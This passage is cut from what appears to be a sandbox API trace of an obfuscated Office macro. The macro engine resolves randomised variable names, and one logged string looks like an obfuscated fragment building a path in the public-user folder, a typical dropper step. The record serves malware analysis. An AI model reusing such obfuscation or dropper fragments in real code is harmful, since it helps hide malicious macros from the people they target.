lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_XHzwONcFw") returned 17 [0018.597] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.597] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_XHzwONcFw", lHashVal=0x10efff, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.597] IUnknown:Release (This=0x7919520) returned 0xd [0018.597] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.597] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_XHzwONcFw", lHashVal=0x10efff, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.597] IUnknown:Release (This=0x7346470) returned 0xb [0018.597] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.597] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_XHzwONcFw", lHashVal=0x10efff, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.597] IUnknown:Release (This=0x7345930) returned 0x7 [0018.597] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.597] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_XHzwONcFw", lHashVal=0x10efff, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.597] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.597] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.597] IUnknown:Release (This=0x7919520) returned 0xd [0018.597] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.597] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcb90000 [0018.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb619c4, cbMultiByte=10, lpWideCharStr=0xcb9027c, cchWideChar=22 | out: lpWideCharStr="XFiTuzRkIG") returned 10 [0018.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb619de, cbMultiByte=10, lpWideCharStr=0xcb906c6, cchWideChar=22 | out: lpWideCharStr="vrrHOEKaIY") returned 10 [0018.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb619f2, cbMultiByte=10, lpWideCharStr=0xcb90870, cchWideChar=22 | out: lpWideCharStr="ztBriiJcsY") returned 10 [0018.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a06, cbMultiByte=10, lpWideCharStr=0xcb90a1a, cchWideChar=22 | out: lpWideCharStr="oIqarizPLC") returned 10 [0018.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a1a, cbMultiByte=10, lpWideCharStr=0xcb90bc4, cchWideChar=22 | out: lpWideCharStr="NJoqKhRDHw") returned 10 [0018.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a2e, cbMultiByte=10, lpWideCharStr=0xcb90d6e, cchWideChar=22 | out: lpWideCharStr="jlEZwiDrkP") returned 10 [0018.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a42, cbMultiByte=10, lpWideCharStr=0xcb90f18, cchWideChar=22 | out: lpWideCharStr="nosjRnARQj") returned 10 [0018.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a56, cbMultiByte=10, lpWideCharStr=0xcb910c2, cchWideChar=22 | out: lpWideCharStr="HvPGLpFLhB") returned 10 [0018.599] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wYwZkvpI") returned 0x109711 [0018.599] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="wYwZkvpI" | out: _Dst="wYwZkvpI") returned 0x0 [0018.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="wYwZkvpI") returned 9 [0018.599] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.599] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wYwZkvpI", lHashVal=0x109711, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.599] IUnknown:Release (This=0x7919520) returned 0xd [0018.599] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.599] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wYwZkvpI", lHashVal=0x109711, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.599] IUnknown:Release (This=0x7346470) returned 0xb [0018.599] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.599] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wYwZkvpI", lHashVal=0x109711, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.599] IUnknown:Release (This=0x7345930) returned 0x7 [0018.600] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.600] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wYwZkvpI", lHashVal=0x109711, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.600] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.600] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.600] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_wYwZkvpI") returned 0x105f19 [0018.600] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_wYwZkvpI" | out: _Dst="_B_var_wYwZkvpI") returned 0x0 [0018.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_wYwZkvpI") returned 16 [0018.600] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.600] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_wYwZkvpI", lHashVal=0x105f19, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.600] IUnknown:Release (This=0x7919520) returned 0xd [0018.600] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.600] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_wYwZkvpI", lHashVal=0x105f19, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.600] IUnknown:Release (This=0x7346470) returned 0xb [0018.600] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.600] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_wYwZkvpI", lHashVal=0x105f19, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.600] IUnknown:Release (This=0x7345930) returned 0x7 [0018.600] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.600] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_wYwZkvpI", lHashVal=0x105f19, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.600] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.600] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.600] IUnknown:Release (This=0x7919520) returned 0xd [0018.600] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a74, cbMultiByte=10, lpWideCharStr=0xcb93534, cchWideChar=22 | out: lpWideCharStr="VCFakYFAPo") returned 10 [0018.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61a8e, cbMultiByte=10, lpWideCharStr=0xcb9397e, cchWideChar=22 | out: lpWideCharStr="PZplhdjWPO") returned 10 [0018.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61aa2, cbMultiByte=10, lpWideCharStr=0xcb93b28, cchWideChar=22 | out: lpWideCharStr="GUaLiCncWW") returned 10 [0018.600] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb52cc0 [0018.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ab6, cbMultiByte=10, lpWideCharStr=0xcb93cd2, cchWideChar=22 | out: lpWideCharStr="EhTSkiAcjP") returned 10 [0018.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61aca, cbMultiByte=10, lpWideCharStr=0xcb93e7c, cchWideChar=22 | out: lpWideCharStr="hvjFQffbdJ") returned 10 [0018.601] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcba0000 [0018.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ade, cbMultiByte=10, lpWideCharStr=0xcba0064, cchWideChar=22 | out: lpWideCharStr="RnULhBctsh") returned 10 [0018.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61af2, cbMultiByte=10, lpWideCharStr=0xcba020e, cchWideChar=22 | out: lpWideCharStr="kcdsjhGWAC") returned 10 [0018.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61b06, cbMultiByte=10, lpWideCharStr=0xcba03b8, cchWideChar=22 | out: lpWideCharStr="dDnzhLnVvC") returned 10 [0018.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uJNUONHIrfj") returned 0x10cfa9 [0018.603] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="uJNUONHIrfj" | out: _Dst="uJNUONHIrfj") returned 0x0 [0018.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="uJNUONHIrfj") returned 12 [0018.603] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.603] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="uJNUONHIrfj", lHashVal=0x10cfa9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.603] IUnknown:Release (This=0x7919520) returned 0xd [0018.603] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.603] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="uJNUONHIrfj", lHashVal=0x10cfa9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.603] IUnknown:Release (This=0x7346470) returned 0xb [0018.603] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.603] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="uJNUONHIrfj", lHashVal=0x10cfa9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.603] IUnknown:Release (This=0x7345930) returned 0x7 [0018.603] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.603] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="uJNUONHIrfj", lHashVal=0x10cfa9, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.603] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.603] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.603] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_uJNUONHIrfj") returned 0x10c10b [0018.603] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_uJNUONHIrfj" | out: _Dst="_B_var_uJNUONHIrfj") returned 0x0 [0018.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_uJNUONHIrfj") returned 19 [0018.603] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.603] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_uJNUONHIrfj", lHashVal=0x10c10b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.603] IUnknown:Release (This=0x7919520) returned 0xd [0018.603] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.603] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_uJNUONHIrfj", lHashVal=0x10c10b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.603] IUnknown:Release (This=0x7346470) returned 0xb [0018.603] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.603] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_uJNUONHIrfj", lHashVal=0x10c10b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.603] IUnknown:Release (This=0x7345930) returned 0x7 [0018.603] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.603] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_uJNUONHIrfj", lHashVal=0x10c10b, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.603] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.603] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.603] IUnknown:Release (This=0x7919520) returned 0xd [0018.603] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61b24, cbMultiByte=78, lpWideCharStr=0xcba282a, cchWideChar=158 | out: lpWideCharStr="hMLUXa+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLvZ1LpuwIHXwB1") returned 78 [0018.603] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.604] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.604] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.604] IUnknown:Release (This=0x7919520) returned 0xd [0018.604] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.604] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KzWjh") returned 0x10889d [0018.604] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="KzWjh" | out: _Dst="KzWjh") returned 0x0 [0018.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="KzWjh") returned 6 [0018.604] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.604] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="KzWjh", lHashVal=0x10889d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.604] IUnknown:Release (This=0x7919520) returned 0xd [0018.604] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.604] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="KzWjh", lHashVal=0x10889d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.604] IUnknown:Release (This=0x7346470) returned 0xb [0018.604] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.604] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="KzWjh", lHashVal=0x10889d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.604] IUnknown:Release (This=0x7345930) returned 0x7 [0018.604] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.604] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="KzWjh", lHashVal=0x10889d, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.604] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.604] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.604] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_KzWjh") returned 0x104c8a [0018.604] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_KzWjh" | out: _Dst="_B_var_KzWjh") returned 0x0 [0018.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_KzWjh") returned 13 [0018.604] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.604] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_KzWjh", lHashVal=0x104c8a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.604] IUnknown:Release (This=0x7919520) returned 0xd [0018.604] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.604] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_KzWjh", lHashVal=0x104c8a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.604] IUnknown:Release (This=0x7346470) returned 0xb [0018.604] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.604] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_KzWjh", lHashVal=0x104c8a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.604] IUnknown:Release (This=0x7345930) returned 0x7 [0018.604] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.604] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_KzWjh", lHashVal=0x104c8a, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.604] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.604] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.604] IUnknown:Release (This=0x7919520) returned 0xd [0018.605] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61b8c, cbMultiByte=10, lpWideCharStr=0xcba35e4, cchWideChar=22 | out: lpWideCharStr="NFVwrDDRbN") returned 10 [0018.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ba6, cbMultiByte=10, lpWideCharStr=0xcba3a2e, cchWideChar=22 | out: lpWideCharStr="iFfvOYREYX") returned 10 [0018.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61bba, cbMultiByte=10, lpWideCharStr=0xcba3bd8, cchWideChar=22 | out: lpWideCharStr="jznbplWwNI") returned 10 [0018.605] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb52f10 [0018.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61bce, cbMultiByte=10, lpWideCharStr=0xcba3d82, cchWideChar=22 | out: lpWideCharStr="ZsKjChTwrO") returned 10 [0018.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61be2, cbMultiByte=10, lpWideCharStr=0xcba3f2c, cchWideChar=22 | out: lpWideCharStr="jjpDBBPTsn") returned 10 [0018.606] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcbb0000 [0018.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61bf6, cbMultiByte=10, lpWideCharStr=0xcbb0104, cchWideChar=22 | out: lpWideCharStr="YAnKUOStGG") returned 10 [0018.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c0a, cbMultiByte=10, lpWideCharStr=0xcbb02ae, cchWideChar=22 | out: lpWideCharStr="hFDTomvvtj") returned 10 [0018.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c1e, cbMultiByte=10, lpWideCharStr=0xcbb0458, cchWideChar=22 | out: lpWideCharStr="FVMKnzJkZn") returned 10 [0018.607] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aNmiUz") returned 0x10310c [0018.607] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="aNmiUz" | out: _Dst="aNmiUz") returned 0x0 [0018.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="aNmiUz") returned 7 [0018.607] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.607] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="aNmiUz", lHashVal=0x10310c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.607] IUnknown:Release (This=0x7919520) returned 0xd [0018.607] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.607] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="aNmiUz", lHashVal=0x10310c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.607] IUnknown:Release (This=0x7346470) returned 0xb [0018.607] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.607] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="aNmiUz", lHashVal=0x10310c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.607] IUnknown:Release (This=0x7345930) returned 0x7 [0018.607] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.607] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="aNmiUz", lHashVal=0x10310c, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.608] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.608] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.608] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_aNmiUz") returned 0x10abb5 [0018.608] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_aNmiUz" | out: _Dst="_B_var_aNmiUz") returned 0x0 [0018.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_aNmiUz") returned 14 [0018.608] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.608] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_aNmiUz", lHashVal=0x10abb5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.608] IUnknown:Release (This=0x7919520) returned 0xd [0018.608] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.608] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_aNmiUz", lHashVal=0x10abb5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.608] IUnknown:Release (This=0x7346470) returned 0xb [0018.608] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.608] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_aNmiUz", lHashVal=0x10abb5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.608] IUnknown:Release (This=0x7345930) returned 0x7 [0018.608] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.608] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_aNmiUz", lHashVal=0x10abb5, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.608] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.608] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.608] IUnknown:Release (This=0x7919520) returned 0xd [0018.608] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c3c, cbMultiByte=10, lpWideCharStr=0xcbb28ca, cchWideChar=22 | out: lpWideCharStr="WMzNFRNIlj") returned 10 [0018.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c56, cbMultiByte=10, lpWideCharStr=0xcbb2d14, cchWideChar=22 | out: lpWideCharStr="BGkBfFRoVi") returned 10 [0018.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c6a, cbMultiByte=10, lpWideCharStr=0xcbb2ebe, cchWideChar=22 | out: lpWideCharStr="ZJaafNzVdW") returned 10 [0018.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c7e, cbMultiByte=10, lpWideCharStr=0xcbb3068, cchWideChar=22 | out: lpWideCharStr="NHwpKXdQmS") returned 10 [0018.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61c92, cbMultiByte=10, lpWideCharStr=0xcbb3212, cchWideChar=22 | out: lpWideCharStr="UzlQAXTlUc") returned 10 [0018.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61ca6, cbMultiByte=10, lpWideCharStr=0xcbb33bc, cchWideChar=22 | out: lpWideCharStr="tzzMdNmYhs") returned 10 [0018.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61cba, cbMultiByte=10, lpWideCharStr=0xcbb3566, cchWideChar=22 | out: lpWideCharStr="RrfPVuIurH") returned 10 [0018.609] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb53160 [0018.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb61cce, cbMultiByte=10, lpWideCharStr=0xcbb3710, cchWideChar=22 | out: lpWideCharStr="bBBCObYJZI") returned 10 [0018.609] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcbc0000 [0018.610] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wfKjWYkL") returned 0x105224 [0018.610] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="wfKjWYkL" | out: _Dst="wfKjWYkL") returned 0x0 [0018.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="wfKjWYkL") returned 9 [0018.611] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.611] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="wfKjWYkL", lHashVal=0x105224, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.611] IUnknown:Release (This=0x7919520) returned 0xd [0018.611] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.611] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="wfKjWYkL", lHashVal=0x105224, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.611] IUnknown:Release (This=0x7346470) returned 0xb [0018.611] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.611] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="wfKjWYkL", lHashVal=0x105224, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.611] IUnknown:Release (This=0x7345930) returned 0x7 [0018.611] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.611] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="wfKjWYkL", lHashVal=0x105224, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.611] IUnknown:Release 